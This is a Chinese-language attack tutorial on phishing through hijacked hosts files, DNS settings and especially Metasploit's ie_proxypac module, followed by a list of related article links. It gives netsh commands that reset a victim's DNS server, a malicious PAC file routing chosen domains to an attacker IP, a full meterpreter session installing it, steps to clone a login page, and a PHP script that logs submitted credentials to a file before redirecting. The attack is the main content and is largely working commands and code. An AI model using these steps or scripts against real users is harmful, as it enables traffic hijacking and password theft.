透過.PAC進行網路釣魚
0x00 常見網路釣魚方式
攻擊者進行網路釣魚的方式常有以下幾種:
1. 透過修改受害者hosts檔案(C:\WINDOWS\system32\drivers\etc\hosts
)來實現;
2. 透過修改受害者dns來實現;
3. 已經進入路由器,直接修改路由器的DNS。
羅列的並不全,之後遇到的話再補充,上述三種方式很常見。
修改HOSTS檔案,即攻擊者修改受害者HOSTS檔案為如下形式:
127.0.0.1 localhost x.x.x.x www.wooyun.com
這樣就受害者訪問www.wooyun.com會直接訪問到x.x.x.x。在msf中可以使用inject_host指令碼來實現。
修改dns進行攻擊:
攻擊者可是使用如下命令修改受害者的dns地址(
管理員身份執行
):C:\Windows\system32>netsh interface ip show interfaces Idx Met MTU 狀態 名稱 --- --- ----- ----------- ------------------- 1 50 4294967295 connected Loopback Pseudo-Interface 1 10 10 1500 connected 本地連線 C:\Windows\system32>netsh interface ip set dns "本地連線" static 192.168.1.100 C:\Windows\system32>ipconfig /all | findstr 192.168.1.100 DNS 伺服器 . . . . . . . . . . . : 192.168.1.100
這樣就修改了受害者的DNS地址,之後可以使用msf的 fakedns來架設dns伺服器來修改域名的解析地址。
除了直接修改路由器的DNS地址的以上兩種方式在某些環境下還是有一些缺點的,例如,一些牛逼的AV會檢測到檔案的修改而發出報警,除此之外,如果受害者所處內網環境中的防火牆或路由器攔截對外部的DNS請求,修改受害者DNS的攻擊方式並不能生效(因為攻擊者架設的DNS在外網環境下)。
0x01 透過PAC代理
本文主要介紹的是Metasploit中的一個模組ie_proxypac。透過.PAC(自動配置代理)檔案來完全控制IE的使用者流量。只需要修改PAC檔案,攻擊者就能使受害者訪問的某個域名指向攻擊者的IP。雖然沒有修改DNS但是可以達到同樣的效果,且這種方式較為隱蔽。已經有很多人使用這種方式進行網路釣魚。
下面是一個PAC檔案示例:
function FindProxyForURL(url, host)
{
if (shExpMatch(host, "www.wooyun.org")) {
return "PROXY 192.168.52.129:80; DIRECT";
}
if (shExpMatch(host, "www.baidu.com")) {
return "PROXY 192.168.52.129:80; DIRECT";
}
}
這個檔案的配置是當受害者訪問www.wooyun.com以及www.baidu.com時,他會直接請求到攻擊者ip( 192.168.52.129)。
詳細的PAC編寫請檢視http://findproxyforurl.com/pac-functions/。
將以上指令碼儲存為test.pac,在獲取meterpreter會話的基礎上使用ie_proxypac指令碼:
#!bash
meterpreter > background
[*] Backgrounding session 1...
msf > use post/windows/manage/ie_proxypac
msf post(ie_proxypac) > set session 1
session => 1
msf post(ie_proxypac) > set REMOTE_PAC http://192.168.52.129/test.pac
REMOTE_PAC => http://192.168.52.129/test.pac
msf post(ie_proxypac) > show options
Module options (post/windows/manage/ie_proxypac):
Name Current Setting Required Description
---- --------------- -------- -----------
AUTO_DETECT false yes Automatically detect settings.
DISABLE_PROXY false yes Disable the proxy server.
LOCAL_PAC no Local PAC file.
REMOTE_PAC http://192.168.52.129/test.pac no Remote PAC file. (Ex: http://192.168.1.20/proxy.pac)
SESSION 1 yes The session to run this module on.
msf post(ie_proxypac) > exploit
[*] Setting automatic configuration script from local PAC file ...
[+] Automatic configuration script configured...
[*] Post module execution completed
之後開啟ie,internet選項->連線->區域網設定:
可以看到pac已經使用pac檔案進行了代理。
代理儘量使用遠端代理,因為IE11預設禁止本地代理,如果使用本地代理,代理是無效的。詳情測試發現,如果連線了vpn,pac代理是失效的。
現在再訪問www.baidu.com
,www.wooyun.org
,會看到已經轉移到了我們制定的ip:
0x02 能做什麼
這裡我們修改pac檔案如下:
function FindProxyForURL(url, host)
{
if (shExpMatch(host, "www.wooyun.org")) {
return "PROXY 192.168.52.129:80; DIRECT";
}
}
這裡ip要改成自己的web的ip,如果受害者請求的網站host為 www.wooyun.org
時,滿足規則,然後跳轉到我們指定的ip地址,這裡我們可以來構造釣魚。
開啟wooyun,右鍵檢視原始碼,將所有原始碼儲存為index.html,放在網站根目錄下,因為當受害者請求 http://wooyun.org
,其host為 wooyun.org
不滿足代理條件,就會直接請求,所以我們把原始碼中的www.wooyun.org
,改為wooyun.org
:
然後找到url,src,href標籤,修改為http://wooyun.org/xxxx 的形式,比如
#!html
<link href="/css/style.css?v=201501291909" rel="stylesheet" type="text/css"/>
修改為
#!html
<link href="http://wooyun.org/css/style.css?v=201501291909" rel="stylesheet" type="text/css"/>
改完以後,基本上就算克隆成功了:
下來要把登陸頁面的的原始碼複製過來,開啟http://www.wooyun.org/user.php?action=login
,右鍵複製原始碼,儲存為user.php,放在網站根目錄下,修改原始碼中的url,src,href。修改完之後,開啟index.html檔案,定位登入
,修改href為 user.php?action=login
,修改以後此標籤為:
#!html
<a href="user.php?action=login">登入</a> | <a href="http://wooyun.org/user.php?action=register" class="reg">註冊</a>
開啟user.php,定位使用者登入
表單,修改表單action為post.php:
#!html
<a href="#">使用者登入</a></div>
</div>
<form action="post.php" method="POST">
.....
在網站根目錄新建post.php,新增如下程式碼:
#!php
<?php $file = 'data.txt';file_put_contents($file, print_r($_POST, true), FILE_APPEND);?><meta http-equiv="refresh" content="0; url=http://wooyun.org/user.php?action=login" />
這樣釣魚站就搭建好了。
當使用者登入時:
點選登陸以後會跳轉到http://wooyun.org/user.php?action=login
檢視data.txt:
只是簡單地一個示例,具體可以透過修改pac檔案來實現控制瀏覽器是否進行代理。
0x03 小結
此種方式進行網路釣魚,做的細緻的話,很難被發現,而且隱蔽性好,缺點就是連線vpn以後代理將會失效。以上是個人的測試結果,請各位大牛指正。
相關文章
- 釣魚篇-網路釣魚2024-03-08
- 使用Outlook欺騙性雲附件進行網路釣魚2022-01-22
- 網路釣魚攻擊2023-09-25
- 網路釣魚是什麼?網路釣魚攻擊的形式有哪些?2024-02-02
- 【滲透測試分享】網路釣魚有哪些注意事項?2022-08-30
- 使用powershell Client進行有效釣魚2020-08-19client
- 威脅情報:網路犯罪分子利用IPFS進行網路釣魚和惡意軟體活動2022-11-16
- 降低網路釣魚攻擊的風險2017-07-03
- 釣魚攻擊防不勝防,該如何預防網路釣魚攻擊?2022-08-24
- 釣魚篇-其他釣魚2024-03-09
- 網路釣魚,你要怎麼防範2020-08-14
- 網路釣魚 你知道如何識別嗎?2020-08-21
- 釣魚篇-郵件釣魚2024-03-07
- 透過AIOps進行網路管理的常用方式2021-07-30AI
- 釣魚篇-其他型別釣魚2024-03-09型別
- 安全公司揭露in-session網路釣魚新手法2019-05-11Session
- 謹防"網路釣魚"(Anti-Phishing)2006-08-03
- Proofpoint:2024年網路釣魚報告2024-08-08
- 釣魚網站與反釣魚技術剖析(圓桌會議)2018-04-12網站
- 瞭解你的敵人 網路釣魚攻擊的實現過程2007-09-22
- 關注 釣魚島事件進展!!!2012-09-11事件
- 什麼是魚叉式網路釣魚?常見的方式有哪些?2023-11-24
- 網路釣魚各式套路盤點,你中招了嗎?2021-08-20
- 一文學會如何識別網路釣魚2023-10-13
- 網路釣魚攻擊常用方法及防禦措施!2023-05-11
- 網路釣魚鋪天蓋地,防不防,如何防?2022-04-11
- 最新釣魚式網路欺詐手段現身(轉)2007-08-12
- 【釣魚】與【反釣魚】的技術剖析2017-11-29
- Trustwave:駭客正在利用人工智慧改進網路釣魚攻擊方式2023-10-31Rust人工智慧
- Radware:防禦現代魚叉式網路釣魚攻擊的方法2017-07-03
- FBI針對HTTPS網路釣魚釋出警告2019-06-21HTTP
- 網路釣魚攻擊常見手段及防範措施!2024-01-04
- 常見網路釣魚攻擊有哪些?如何識別?2024-01-22
- 什麼是欺騙性網路釣魚?如何防禦?2023-11-29
- 透過網路進行培訓 感覺還是很不靠譜,2010-09-09
- 如何防範釣魚網站詐騙?2022-09-15網站
- 釣魚學習2024-10-15
- 抖音國際版成為網路釣魚詐騙新目標2021-11-19